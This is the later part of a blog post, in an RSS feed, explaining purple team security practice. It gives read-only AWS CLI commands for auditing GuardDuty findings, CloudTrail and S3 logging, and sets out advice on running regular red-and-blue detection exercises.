<p><strong>Purple phase</strong> — the structural fix. Not &#8220;train your developers to be more careful.&#8221; The IAM policy, the SCPs, the network control, the pre-commit hook. The thing that makes the vulnerability not exist, not the thing that makes humans try harder to avoid it.</p>
<hr />
<h2 id="run-this-in-your-own-environment-baseline-your-current-detection-coverage">Run This in Your Own Environment: Baseline Your Current Detection Coverage</h2>
<p>Before EP02, establish a detection baseline. This tells you where you start, so later exercises have a number to beat.</p>
<pre><code class="" data-line="">aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text) \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;updatedAt&quot;: {
        &quot;GreaterThanOrEqual&quot;: &#039;$(date -d &#039;30 days ago&#039; +%s000)&#039;
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 50 aws guardduty get-findings \
    --detector-id $(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text) \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, count: 1}&#039; | \
  jq -s &#039;group_by(.type) | map({type: .[0].type, count: length})&#039;
</code></pre>
<pre><code class="" data-line=""># Check if CloudTrail is enabled and logging management events
aws cloudtrail describe-trails --query &#039;trailList[].{Name:Name,MultiRegion:IsMultiRegionTrail,LoggingEnabled:HasCustomEventSelectors}&#039; --output table
</code></pre>
<pre><code class="" data-line=""># Check if S3 server access logging is enabled on all buckets
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    logging=$(aws s3api get-bucket-logging --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if [ -z &quot;$logging&quot; ] || echo &quot;$logging&quot; | grep -q &#039;{}&#039;; then
      echo &quot;NO LOGGING: $bucket&quot;
    else
      echo &quot;LOGGING OK: $bucket&quot;
    fi
  done
</code></pre>
<p>Record your current findings count by category and the number of buckets without logging. These are your pre-exercise baselines.</p>
<hr />
<h2 id="common-mistakes-when-starting-a-purple-team-practice"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Starting a Purple Team Practice</h2>
<p><strong>Running it as an annual event.</strong> One purple team exercise per year produces a report. Monthly exercises with 3–5 techniques each produce measurable improvement in detection time. Frequency is the variable.</p>
<p><strong>Letting red and blue work in separate rooms.</strong> The purple layer is the debrief. If red sends a report and blue reads it later, you&#8217;ve just done a red team engagement. The real-time shared observation is what generates the immediate detection improvement.</p>
<p><strong>Measuring success as &#8220;how many vulnerabilities were found.&#8221;</strong> The right metric is detection time per technique and detection coverage across your ATT&amp;CK or OWASP matrix. Vulnerabilities found is an output of the exercise; faster detection is the outcome.</p>
<p><strong>Starting with sophisticated techniques.</strong> The first exercise should test basics: credential access, S3 enumeration, IAM privilege escalation attempts. These generate straightforward logs in CloudTrail. If your detection doesn&#8217;t catch these, it won&#8217;t catch the sophisticated stuff either. Start where the coverage gaps are most embarrassing.</p>
<p><strong>No documentation of the exercise environment state.</strong> If you tune a detection rule during an exercise and then a Terraform change overwrites the policy, you&#8217;ve lost the improvement. All detection changes from exercises go through version control immediately.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Purple team security</td>
<td>Practice of combined red/blue exercises where both teams improve detection together</td>
</tr>
<tr>
<td>MTTD</td>
<td>Mean Time to Detect — the primary metric purple team exercises reduce</td>
</tr>
<tr>
<td>ATT&amp;CK</td>
<td>MITRE framework mapping adversary techniques to data sources and detections</td>
</tr>
<tr>
<td>Red phase</td>
<td>Attacker perspective: simulate the technique with real commands</td>
</tr>
<tr>
<td>Blue phase</td>
<td>Defender perspective: what detection fires (or doesn&#8217;t)</td>
</tr>
<tr>
<td>Purple phase</td>
<td>The joint debrief and immediate detection tuning that makes both better</td>
</tr>
<tr>
<td>Detection baseline</td>
<td>Measured MTTD and technique coverage before the first exercise</td>
</tr>
<tr>
<td>OWASP Top 10</td>
<td>Threat taxonomy used in this series — applies to infrastructure, not just web apps</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Purple team security is a practice, not a team: structured exercises where red attacks and blue detects in real time, with joint debrief producing updated detection rules</li>
<li>The metric that matters is detection time per technique — not findings count</li>
<li>Red team alone produces a report; purple team produces a faster MTTD and tested detection coverage</li>
<li>MITRE ATT&amp;CK provides the technique vocabulary; OWASP Top 10 provides the vulnerability taxonomy this series uses</li>
<li>Every major cloud breach 2020–2025 maps to an OWASP category — those categories are the exercise backlog for any cloud-running organization</li>
<li>Detection improvements from exercises must be version-controlled immediately or they disappear with the next infrastructure change</li>
<li>Frequency of exercises is the primary driver of improvement — monthly beats annual by an order of magnitude</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP02 maps every OWASP Top 10 category to its cloud infrastructure equivalent. Most engineers treat OWASP as a web application concern. The <a href="/cloud-security-breaches-2020-2025/">cloud security breaches from 2020 to 2025</a> tell a different story: the S3 bucket that became public is A01; the CI/CD pipeline secret is A08; the SSRF to EC2 metadata is A10. The taxonomy was always infrastructure-applicable. EP02 makes that mapping explicit — with the cloud-native equivalent, the real breach that demonstrates it, and the detection query to run.</p>
<p>Get EP02 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&#038;title=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" data-a2a-url="https://linuxcent.com/what-is-purple-team-security/" data-a2a-title="What Is Purple Team Security: Red + Blue = Better Defense"></a></p><p>The post <a href="https://linuxcent.com/what-is-purple-team-security/">What Is Purple Team Security: Red + Blue = Better Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/what-is-purple-team-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1843</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-27 00:19:17 by W3 Total Cache
-->